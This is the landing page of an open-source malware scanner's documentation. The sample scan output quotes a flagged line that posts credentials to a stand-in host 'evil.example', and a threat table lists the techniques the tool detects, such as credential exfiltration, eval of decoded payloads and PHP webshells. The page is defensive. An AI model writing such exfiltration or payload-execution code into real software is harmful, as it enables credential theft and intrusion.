Skip to content

malware-detectorCatch malicious code before it ships.

One command scans your JavaScript, TypeScript, Python and PHP for backdoors, credential theft and supply-chain attacks. Runs locally, works offline, and fits in a git hook.

malware-detector

See it in action ​

Point it at a folder. You get a ranked report you can read in a few seconds:

console
$ malware-detector scan . --explain
malware-detector: CRITICAL β€” 3 finding(s) in .

  [CRITICAL] src/telemetry.py:4  py-env-exfiltration  (semgrep)
      Environment / credential data flows to a network sink.
      | requests.post("https://evil.example/c", data={"creds": secret})
  [CRITICAL] lib/loader.js:2  js-exec-decoded-payload  (semgrep)
      Dynamic execution of a decoded/obfuscated payload (high-confidence).
      | eval(c);
  [HIGH] assets/packed.js:1  obf-packed-line  (heuristics)
      Packed/obfuscated line (582 chars, 2 obfuscation markers).

Scanned 128 files (JavaScript 71 Β· Python 57) with semgrep + heuristics in 3.2s.

It exits with 1 when something is found, so the same command can block a commit, a push or a pull request.

Two minutes to your first scan ​

sh
uv tool install malware-detector-py     # or: pipx install malware-detector-py
malware-detector scan .

You don't need a config file, an account or a separate engine install. Full walkthrough β†’

Built for the attacks that actually happen ​

ThreatWhat catches it
A dependency's postinstall downloads and runs a scriptnpm-install-hook-command, deps (GuardDog)
Code reads ~/.aws/credentials or process.env and posts itexfiltration taint rules
A base64 or char-code payload is decoded, then eval/exec'ddecoded-payload rules + packed-line heuristic
A PHP file pipes $_GET/$_POST into system()webshell taint rule
pickle.loads / unserialize on untrusted inputdeserialization rules
Beacons to hard-coded IPs or known OAST/webhook domainsnetwork-to-IP + canary-domain rules
Typosquatted or deceptive packages on npm and PyPIdeps (GuardDog metadata heuristics)

Browse every rule β†’

Where it fits ​

You want to…Start here
Check a repo you just cloned or inheritedScanning code
Vet a package before adding it as a dependencyScanning packages
Block bad code before it is committedGit hooks
Gate pull requests and see alerts in GitHub SecurityCI & code scanning
Scan untrusted code in a locked-down sandboxDocker (offline)

Free and open source, kept alive by sponsors

malware-detector is MIT-licensed and maintained in spare time. If it saves you from a bad day, sponsor it on GitHub ❀ or give it a ⭐ on GitHub so others can find it. How sponsorship helps β†’